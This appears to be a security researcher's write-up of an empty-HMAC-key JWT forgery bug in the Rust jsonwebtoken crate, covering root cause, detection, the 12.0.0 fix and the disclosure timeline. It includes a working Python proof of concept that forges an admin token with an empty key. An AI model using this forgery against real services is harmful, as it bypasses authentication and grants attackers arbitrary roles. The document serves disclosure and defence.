All posts
Write-up ~5 min read

Empty HMAC key = universal JWT forgery in jsonwebtoken (Rust)

jsonwebtoken built an HMAC verifier from a zero-length key, so a token signed with an empty key verified. Root cause, PoC, detection and fix.

Affected
jsonwebtoken (Rust crate) <= 11.1.0, patched in 12.0.0
Weakness
CWE-347 · Improper Verification of Cryptographic Signature
Reading
~5 min · 16 Nov 2026

Every JWT guide warns you about alg: none: a token that says “I have no signature”, and a library that believes it. Libraries learned that lesson years ago.

This bug is a quieter version of the same failure. The token has a real algorithm and a real signature. The only thing missing is the secret. jsonwebtoken, the JWT crate most Rust web services use, would verify HS256 tokens against a key of zero bytes without complaint. Anyone can sign with an empty key, so anyone could forge a token the library accepted.

A little theory: what a JWT signature promises

A JSON Web Token is three base64url pieces joined by dots: a header ({"alg":"HS256"}), a payload with the claims (sub, role, exp), and a signature. The server keeps no session state; it trusts whatever the payload says because the signature checks out. With HS256 the signature is an HMAC over header.payload, keyed with a secret only the server knows. Anyone can read a JWT. Only the holder of the secret should be able to make one.

So every JWT forgery bug is a way of producing a valid signature without knowing the secret: declaring no algorithm (alg:none), tricking the verifier into a different algorithm (RS256 → HS256 confusion), guessing a weak secret, or, as here, a secret that is empty.

Why an empty key is a problem

An HS256 signature is HMAC(secret, header.payload). The scheme rests on one assumption: the attacker does not know secret.

An empty string is a secret everyone knows. HMAC itself has no opinion about this. A zero-length key is a valid input, and the function returns a valid MAC. Nothing fails and nothing warns. If the library does not refuse the key, the cryptography will not do it for you.

Where the check was missing

There are two ways to hand the library an HMAC key, and both kept an empty key as empty bytes.

A raw secret is stored as given:

Rust
// src/decoding.rs
DecodingKey::from_secret(secret) -> DecodingKeyKind::SecretOrDer(secret.to_vec())
// "" is stored as b""

A symmetric JWK is base64-decoded, with no length check afterwards:

Rust
// src/decoding.rs, TryFrom<&Jwk>
AlgorithmParameters::OctetKey => b64_decode(params.value)? -> SecretOrDer(out)
// k:"" decodes to b""

Both end up in the HMAC backend, which accepts whatever length it receives:

Rust
// src/crypto/rust_crypto/hmac.rs
let mac = Hmac::<Sha256>::new_from_slice(decoding_key.try_get_as_bytes()?)?;

// src/crypto/aws_lc/hmac.rs
hmac::Key::new(alg, bytes)

Three places could have said “this key is empty, stop”. None of them did.

Forging a token

The forgery needs no library at all. Sign with an empty key:

Python
import hmac, hashlib, base64, json

b = lambda x: base64.urlsafe_b64encode(x).rstrip(b"=").decode()
h = b(json.dumps({"alg": "HS256", "typ": "JWT", "kid": "hmac-1"}).encode())
p = b(json.dumps({"sub": "attacker", "role": "admin"}).encode())
sig = b(hmac.new(b"", f"{h}.{p}".encode(), hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")

Then verify it the normal way, with signature validation switched on:

Rust
// Raw empty secret
decode::<Value>(&token, &DecodingKey::from_secret(b""), &Validation::new(Algorithm::HS256))?; // accepted

// JWK with k:""
let jwk = serde_json::from_str(r#"{"kty":"oct","alg":"HS256","kid":"hmac-1","k":""}"#)?;
decode::<Value>(&token, &DecodingKey::from_jwk(&jwk)?, &Validation::new(Algorithm::HS256))?; // accepted

Both calls accept the forged token on 11.1.0 and on 9.3.1. With a real, non-empty secret the same token is rejected, which is the control that shows the signature check itself works. I ran this PoC against 11.1.0 built with the rust_crypto feature and against 9.3.1. The aws_lc_rs backend has the same missing check, but I confirmed that one by reading the code, not by running it.

How a service ends up with an empty key

Nobody writes from_secret(b"") on purpose. In practice there are two routes:

  1. Configuration. The secret comes from an environment variable that is unset in one environment and defaults to "". The service starts, tokens verify, nothing looks wrong.
  2. A key set. The service loads a JWKS and picks the key by the token’s kid. If that set contains a symmetric (kty: oct) entry with k: "", the attacker selects it by naming its kid.

That precondition is why this is rated High and not Critical. When it holds, the bypass is complete: the attacker can sign a token for any user and any role without knowing a secret.

Checking your own code

You can test for this from the outside, without reading any source. Take a valid session token, re-sign it with an empty key, keep alg: HS256, and send it. If the service accepts it, verification is keyed on nothing.

If you maintain or audit a JWT library, look at every key constructor and at the verify path, and ask whether any of them rejects a zero-length key. If the raw-secret constructor, the oct JWK path and the HMAC call all take arbitrary lengths, the library has this bug.

For a deployment, check two things: whether the secret can resolve to an empty string, and whether your JWKS can contain an oct key with an empty k.

The question applies well beyond this crate. For any code that verifies a MAC: what happens when the key is empty?

The fix

The fix is commit a3fd80e, “Reject empty HMAC Keys, fix remaining type confusion, reject unknown critical extensions” (PR #556), released in jsonwebtoken 12.0.0 on 2026-11-13. It adds an emptiness check to every HMAC key constructor on both sides: DecodingKey::from_secret, from_base64_secret and the oct JWK path, and EncodingKey::from_secret, from_base64_secret and from_urlsafe_base64_secret. The raw-secret constructor in src/decoding.rs now looks like this:

Rust
pub fn from_secret(secret: &[u8]) -> Result<Self> {
    if secret.is_empty() {
        return Err(new_error(ErrorKind::InvalidKeyFormat));
    }
    Ok(DecodingKey {
        family: AlgorithmFamily::Hmac,
        kind: DecodingKeyKind::SecretOrDer(secret.to_vec()),
    })
}

and the JWK path gets the same guard after decoding k:

Rust
AlgorithmParameters::OctetKey(params) => {
    let out = b64_decode(&params.value)?;
    if out.is_empty() {
        return Err(new_error(ErrorKind::InvalidKeyFormat));
    }

from_secret used to return the key directly and now returns a Result, so upgrading to 12.0.0 is a breaking change and existing calls need ? or explicit handling. That is the point: an empty secret now fails where the key is built, not silently at verification time. In your own service, also make a missing secret a startup error instead of a default.

The same bug in other libraries (found by others)

These are not my findings. The same class had already been reported and fixed in other JWT libraries by other people, and those reports are what prompted me to check the Rust crate:

  • fast-jwt (Node.js): CVE-2026-44351, published 2026-05-13. The CVE record names no researcher.
  • ruby-jwt: CVE-2026-45363, published 2026-07-14. The CVE record names no researcher.
  • PyJWT: GHSA-pxh4-856f-4h89, published 2026-10-22, credited to GitHub user tonghuaroot.

Disclosure timeline

Date Event
2026-10-26 Reported via GitHub private security advisory GHSA-698m-q5wh-jf73
2026-11-13 Fix commit a3fd80e (PR #556) merged
2026-11-13 jsonwebtoken 12.0.0 released on crates.io
2026-11-13 Advisory GHSA-698m-q5wh-jf73 published (no CVE assigned)
2026-11-16 This write-up

References

Takeaway

HMAC will accept an empty key, so the verifier has to refuse it.

Any code that verifies a MAC needs its own length check. Test what your verifier does when the secret is "".